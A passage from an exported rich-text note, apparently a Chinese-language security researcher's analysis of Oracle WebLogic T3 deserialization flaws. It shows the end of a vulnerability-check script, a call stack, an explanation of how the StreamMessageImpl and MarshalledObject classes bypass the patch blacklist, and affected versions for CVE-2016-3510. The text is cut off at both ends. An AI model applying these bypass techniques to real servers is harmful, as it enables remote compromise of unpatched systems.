print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oySx-1673857235213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tEUJ-1673857235212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;weblogic.jms.common.StreamMessageImpl&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mX2G-1673857235215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A7gH-1673857235214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dh5R-1673857235217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bEV7-1673857235216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tGmf-1673857235219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S8NE-1673857235218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tT84-1673857235221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B1Bb-1673857235220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oWPD-1673857235223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HVXG-1673857235222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;shQl-1673857235225&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nFn8-1673857235224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rnBz-1673857235227&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0OXI-1673857235226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7NEm-1673857548383&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5146/WEBRESOURCE2052105f36885e9f6fc0049a07cc5e08&#34;,&#34;width&#34;:1594,&#34;height&#34;:258},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WenO-1673857524118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2NKN-1673857524117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QMkj-1673859739927&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkAa-1673859739885&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4sek-1673859739884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:1396, StreamMessageImpl (weblogic.jms.common)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jyNS-1673859739889&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2C6M-1673859739887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternalData:1835, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VdSC-1673859739891&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AGJJ-1673859739890&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1794, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m1iD-1673859739893&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W6pI-1673859739892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1zw7-1673859739895&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v65q-1673859739894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;adqS-1673859739897&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDoT-1673859739896&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v0iL-1673859739900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2AK5-1673859739898&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlTr-1673859739902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LegQ-1673859739901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dzck-1673859739904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gYIB-1673859739903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VGCO-1673859739906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UUD6-1673859739905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fpuV-1673859739908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JvaM-1673859739907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jyyd-1673859739910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sWeN-1673859739909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7goy-1673859739912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yYra-1673859739911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cF9H-1673859739914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eUv5-1673859739913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVbM-1673859739916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zFms-1673859739915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ynlh-1673859739918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fw1o-1673859739917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UIwT-1673859739920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M5GU-1673859739919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVRQ-1673859739922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MUTz-1673859739921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NQGz-1673859739924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fTbn-1673859739923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lqcT-1673859739926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xReg-1673859739925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JMKl-1673860803282&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ujZf-1673860803283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样通过InboundMsgAbbrev为入口进行数据的read操作，但由于我们实现了StreamMessageImpl接口，反序列化过程将通过readOrdinaryObject方法调用readExternalData，进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6Bk-1673860810473&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5157/WEBRESOURCEac9022c8e018d447a7b9060cf0161306&#34;,&#34;width&#34;:683,&#34;height&#34;:435},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fZRS-1673861233583&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5172/WEBRESOURCEb5d2b8fb70b240fd6b87075d9a01eca2&#34;,&#34;width&#34;:681,&#34;height&#34;:434},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi6l-1673861249592&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5174/WEBRESOURCE054963ec8bb5704dade19fbf183c769b&#34;,&#34;width&#34;:677,&#34;height&#34;:432},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qYQV-1673859772464&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5151/WEBRESOURCE60a529a6a8e28583e2e81d2d69f6f95d&#34;,&#34;width&#34;:689,&#34;height&#34;:438},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JVFv-1673857564118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cFeS-1673857564116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从流量特征上看并无太多变化，主要还是weblogic.jms.common.StreamMessageImpl类的出现，而weblogicScaner也是基于response来判断vulnerability：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TUK6-1673861428607&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5179/WEBRESOURCE42fb31ca62eef9f0eda4591387da1b0a&#34;,&#34;width&#34;:599,&#34;height&#34;:516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kShA-1673861461642&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5181/WEBRESOURCEa39f7080a5a3c049699d5ad93602ad1c&#34;,&#34;width&#34;:585,&#34;height&#34;:501},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pmtt-1673861452247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GOVh-1673861452248&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ohYC-1673883639127&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nqTf-1673883639125&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2016-3510&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U4Ec-1673883240812&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KP5B-1673883240799&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VeU6-1673883779995&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vncG-1673883779996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lnMs-1673883779998&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLGv-1673883779999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vwbd-1673883780000&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bONz-1673883780001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6ai1-1673883780003&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nUAq-1673883780004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6shM-1673883780006&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WYcJ-1673883780007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0E1F-1673883780008&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b3jv-1673883780009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样是对补丁黑名单的绕过，这次使用的是&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;这个类：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gnJb-1673884872397&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rfsi-1673884872337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8n9Q-1673884872336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public MarshalledObject(Object var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fT2Z-1673884872339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TQzc-1673884872338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SkU3-1673884872341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OOvl-1673884872340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = 13;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JLg0-1673884872343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zayc-1673884872342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jFUB-1673884872345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CCBw-1673884872344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEcB-1673884872347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5atc-1673884872346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G32e-1673884872349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qd9y-1673884872348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xm3T-1673884872351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HqsD-1673884872350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m3lX-1673884872353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pKqW-1673884872352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.objBytes = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5fOw-1673884872355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K19o-1673884872354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int var4 = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G85q-1673884872357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xU1p-1673884872356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V4l2-1673884872359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gngO-1673884872358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for(int var5 = 0; var5 &lt; this.objBytes.length; ++var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlEY-1673884872361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z522-1673884872360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var4 = 31 * var4 + this.objBytes[var5];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13ln-1673884872363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZaAI-1673884872362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        